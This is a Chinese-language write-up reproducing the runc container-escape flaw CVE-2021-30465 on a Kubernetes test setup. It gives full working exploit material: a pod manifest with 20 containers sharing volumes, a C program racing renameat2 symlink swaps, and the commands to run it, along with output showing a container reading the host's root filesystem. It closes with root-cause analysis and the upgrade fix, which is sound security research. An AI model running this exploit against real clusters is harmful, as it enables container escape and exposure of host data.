1 漏洞简介
runc 的主要作用是使用 Linux Kernel 提供的诸如 namespaces,cgroup 等进程隔离机制以及 SELinux 等 security 功能,构建供容器运行的隔离环境,从而保证主机的安全。
runc 是一个轻量级通用容器运行环境,它允许一个简化的探针到运行和调试的底层容器的功能,不需要整个 docker 守护进程的接口。runc 可面向有安全需求的公司等部署大型 docker 集群,在GitHub上的订阅量为8000+,使用量较大。
该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。攻击者可利用该漏洞在未授权的情况下,构造恶意数据造成容器逃逸,最终造成服务器敏感性信息泄露。
目前受影响的runc版本:runc <= 1.0.0-rc94
漏洞编号:CVE-2021-30465
2 漏洞复现
2.1 环境搭建
复现环境:
虚拟机:vmware workstation 16
linux发行版:Centos 7.4.1708 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-693.el7.x86_64
ip(master):192.168.254.212
Docker:19.03.14
runc:1.0.0-rc10
K8S:1.18.12
2.1.1 安装Docker-ce 19.03.14
# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-cli-19.03.14-3.el7.x86_64.rpm
# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-19.03.14-3.el7.x86_64.rpm
# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/containerd.io-1.3.9-3.1.el7.x86_64.rpm
# yum install container-selinux
# rpm -i *.rpm
# systemctl enable docker && systemctl start docker
# docker version
Client: Docker Engine - Community
Version: 19.03.14
API version: 1.40
Go version: go1.13.15
Git commit: 5eb3275d40
Built: Tue Dec 1 19:20:42 2020
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.14
API version: 1.40 (minimum version 1.12)
Go version: go1.13.15
Git commit: 5eb3275d40
Built: Tue Dec 1 19:19:17 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.3.9
GitCommit: ea765aba0d05254012b0b9e595e995c09186427f
runc:
Version: 1.0.0-rc10
GitCommit: dc9208a3303feef5b3839f4323d9beb36df0a9dd
docker-init:
Version: 0.18.0
GitCommit: fec3683
2.1.2 设置k8s环境准备条件
安装k8s的机器需要2个 CPU 和2g内存以上。然后执行以下脚本做一些准备操作。
//关闭防火墙
# systemctl disable firewalld
# systemctl stop firewalld
//关闭selinux
//临时禁用selinux
# setenforce 0
//永久关闭 修改/etc/sysconfig/selinux文件设置
# sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
# sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config
//禁用交换分区
# swapoff -a
//永久禁用,打开/etc/fstab注释掉swap那一行。
# sed -i 's/.*swap.*/#&/' /etc/fstab
//修改内核参数
# cat <<EOF > /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
EOF
# sysctl --system
# reboot
2.1.3 安装k8s v1.18.12 master管理节点
如果还没安装 docker,请参照本文2.1.1 安装Docker-ce 19.03.14
如果没设置 k8s 环境准备条件,请参照本文2.1.2 设置k8s环境准备条件
以上两个步骤检查完毕之后,继续以下步骤。
1.安装 kubeadm、kubelet、kubectl
由于官方 k8s 源在 google,国内无法访问,这里使用阿里云yum源
//执行配置k8s阿里云源
# cat <<EOF > /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF
//安装kubeadm、kubectl、kubelet
# yum install -y kubectl-1.18.12-0 kubeadm-1.18.12-0 kubelet-1.18.12-0
//启动kubelet服务
# systemctl enable kubelet && systemctl start kubelet
2.初始化k8s
以下这个命令开始安装 k8s 需要用到的 docker 镜像,因为无法访问到国外网站,所以这条命令使用的是国内的阿里云的源(registry.aliyuncs.com/google_containers)。另一个非常重要的是:这里的--apiserver-advertise-address使用的是master和node间能互相ping通的ip,我这里是192.168.254.212。这条命令执行时会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull,大概需要2分钟,请耐心等待。
//下载管理节点中用到的6个docker镜像,你可以使用docker images查看到
//这里需要大概两分钟等待,会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull
# kubeadm init --image-repository registry.aliyuncs.com/google_containers --kubernetes-version v1.18.12 --apiserver-advertise-address 192.168.254.212 --pod-network-cidr=10.244.0.0/16 --token-ttl 0
上面安装完后,会提示你输入如下命令,复制粘贴过来,执行即可
//上面安装完成后,k8s会提示你输入如下命令,执行
# mkdir -p $HOME/.kube
# sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
# sudo chown $(id -u):$(id -g) $HOME/.kube/config
以上,安装master节点完毕。可以使用kubectl get nodes查看一下,此时master处于NotReady状态,暂时不用管。
# kubectl get nodes
NAME STATUS ROLES AGE VERSION
localhost.localdomain NotReady master 29m v1.18.12
2.1.4 安装flannel
1.下载官方flannel配置文件
使用wget命令,地址为:(https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)
# wget https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
2.安装fannel
# kubectl apply -f kube-flannel.yml
此时master处于Ready状态
# kubectl get nodes
NAME STATUS ROLES AGE VERSION
localhost.localdomain Ready master 29m v1.18.12
2.1.5 让Master也当作Node使用
出于安全考虑,默认配置下 Kubernetes 不会将 Pod 调度到 Master 节点。
我们漏洞复现为了方便,这里将让 Master 也当作 Node 使用。
使用如下命令即可
# kubectl taint node localhost.localdomain node-role.kubernetes.io/master-
2.2 漏洞复现详情
2.2.1 创建攻击POD
# kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: attack
spec:
terminationGracePeriodSeconds: 1
containers:
- name: c1
image: ubuntu:latest
command: [ "/bin/sleep", "inf" ]
env:
- name: MY_POD_UID
valueFrom:
fieldRef:
fieldPath: metadata.uid
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
- name: c$c
image: donotexists.com/do/not:exist
command: [ "/bin/sleep", "inf" ]
volumeMounts: #容器内挂载点
- name: test1 #宿主机目录名
mountPath: /test1 #容器内目录名
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
EOC
done
)
volumes:
- name: test1 #宿主机目录名
emptyDir: #宿主机挂载点
medium: "Memory"
- name: test2
emptyDir:
medium: "Memory"
EOF
解读一下上面这个 yaml 文件内容,要在这个 pod 里创建20个容器,通过 volumes 项可以看到,这20个容器共享两个目录,一个叫 test1,一个叫 test2。
对于容器c1,它使用镜像 ubuntu:latest,对于c2-c20,它使用镜像donotexists.com/do/not:exist,这是个不合法的镜像,所以在pod创建后,c2-c20 容器不会成功创建。只有c1会创建成功。
2.2.2 编译race
race是运行 renameat2(dir,symlink,RENAME_EXCHANGE) 的简单二进制文件)
# cat > race.c <<'EOF'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
if (argc != 4) {
fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
exit(EXIT_FAILURE);
}
printf(" name1 %s name2 %s linkdest %s \n", argv[1],argv[2],argv[3]);
char *name1 = argv[1];
char *name2 = argv[2];
char *linkdest = argv[3];
int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
if (dirfd < 0) {
perror("Error open CWD");
exit(EXIT_FAILURE);
}
if (mkdir(name1, 0755) < 0) {
perror("mkdir failed");
//do not exit
}
if (symlink(linkdest, name2) < 0) {
perror("symlink failed");
//do not exit
}
while (1)
{
syscall(SYS_renameat2,dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
}
}
EOF
# gcc race.c -O3 -o race
race程序的功能就是将参数1传进来的文件修改为参数2传进来的文件,在调用renameat2前,会将参数2设置为一个指向参数3传进来目录的软连接。
2.2.3 等待容器c1启动
1.将“race”二进制文件上传到c1容器中,然后执行 bash
# kubectl cp race -c c1 attack:/test1/
# kubectl exec -ti pod/attack -c c1 -- bash
2.在c1容器内创建以下符号链接(这一步原因会在本文3 漏洞分析中解释)
root@attack:/# ln -s / /test2/test2
3.在c1容器内多次运行“race”以尝试利用此条件竞争漏洞
root@attack:/# cd test1
root@attack:/# seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
name1 mnt1 name2 mnt-tmp1 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/
name1 mnt2 name2 mnt-tmp2 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/
name1 mnt3 name2 mnt-tmp3 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/
name1 mnt4 name2 mnt-tmp4 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/
这里就是不断的将 mntX 修改为 mnt-tmpX,
而 mnt-tmpX是指向 /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/目录的软连接。
2.2.4 更新镜像
在 master主机内另开一个root shell
更新镜像
# for c in {2..20}; do
kubectl set image pod attack c$c=ubuntu:latest
done
这里将容器c2-c20的镜像更新为合法的镜像,容器c2-c20会开始一个一个被成功创建。
2.2.5 逃逸成功
看看漏洞利用结果,如果漏洞利用成功,容器内的/test1/zzz目录会逃逸到宿主机内
# for c in {2..20}; do
echo ~~ Container c$c ~~
kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done
结果如下
[root@localhost test]# for c in {2..20}; do
> echo ~~ Container c$c ~~
> kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
> done
~~ Container c2 ~~
test2
~~ Container c3 ~~
test2
~~ Container c4 ~~
test2
~~ Container c5 ~~
test2
~~ Container c6 ~~
test2
~~ Container c7 ~~
test2
~~ Container c8 ~~
test2
~~ Container c9 ~~
test2
~~ Container c10 ~~
test2
~~ Container c11 ~~
test2
~~ Container c12 ~~
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
~~ Container c13 ~~
test2
~~ Container c14 ~~
test2
~~ Container c15 ~~
test2
~~ Container c16 ~~
test2
~~ Container c17 ~~
test2
~~ Container c18 ~~
test2
~~ Container c19 ~~
test2
~~ Container c20 ~~
test2
可以看到c12容器逃逸成功了,我们进入c12容器内查看
# kubectl exec -ti pod/attack -c c12 -- bash
root@attack:/# ls -al test1/zzz/home/test/
.ICEauthority .bash_logout .bashrc .config/ .local/ Desktop/ Downloads/ Pictures/ Templates/ kube-flannel.yml race.c
.bash_history .bash_profile .cache/ .esd_auth .mozilla/ Documents/ Music/ Public/ Videos/ race test.yaml
root@attack:/# ls -al test1/zzz/home/test/Desktop/
total 93908
drwxr-xr-x. 2 1000 1000 142 Jun 3 02:20 .
drwx------. 14 1000 1000 4096 Jun 3 02:33 ..
-rwxrw-rw-. 1 1000 1000 30381608 Jun 3 02:19 containerd.io-1.3.9-3.1.el7.x86_64.rpm
-rwxrw-rw-. 1 1000 1000 25519432 Jun 3 02:19 docker-ce-19.03.14-3.el7.x86_64.rpm
-rwxrw-rw-. 1 1000 1000 40247412 Jun 3 02:20 docker-ce-cli-19.03.14-3.el7.x86_64.rpm
3 漏洞分析
该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中。
runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法,下面是这个函数的描述
// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.
func SecureJoinVFS(root, unsafePath string, vfs VFS) (string, error) {
正如描述所言,这里存在竞争条件。:)
runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。
但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。
4 漏洞利用
K8S 没有让我们控制挂载源,但我们可以完全控制挂载的目标,所以诀窍是在 K8S 卷路径上挂载一个包含符号链接的目录,让下一个挂载使用这个新源,并且让我们可以访问节点根文件系统。
poc中yaml文件中的配置
volumeMounts:
- name: test1
mountPath: /test1
- name: test2
mountPath: /test1/mnt1
- name: test2
mountPath: /test1/mnt2
- name: test2
mountPath: /test1/mnt3
- name: test2
mountPath: /test1/mnt4
- name: test2
mountPath: /test1/zzz
可以看到上述配置会连续挂载test2到不同的目录。
runc 执行以下指令时
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)
如果我们race程序执行幸运的话,当我们调用时SecureJoin(),mntX是一个目录,当我们调用mount()时,mntX是一个符号链接,这相当于
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)
因为之前ln -s / /test2/test2
的关系
文件系统现在是这样
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /
这里解释一下上面这种变化,本来/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2内部如下
# ls -al /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /
在进行mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)
操作之后,/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
就相当于成了/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
,中间的一个test2目录被去掉了
当我们做最后的挂载时
mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
相当于
mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
一切顺利的话,逃逸成功!
目前看来只使用docker基本没有攻击场景,需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。
而且因为是利用竞争条件来进行利用的,有很大概率失败,我本地测试同一个pod里放了20个容器,能成功逃逸一个。
poc的利用方法是将c2+容器使用的镜像先设置为无效的镜像,待c1内布置好再更新合法的镜像给c2+;如果没有更新镜像的能力,也可以将c2+的镜像设置为很大的镜像或者延迟加载,要做到c1布置好后才进行c2+的容器生成,才有机会进行漏洞利用。
5 漏洞修复
5.1 检测组件版本
终端输入runc -v即可查看版本
5.2 官方修复建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95
6 参考
http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f
https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r
https://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60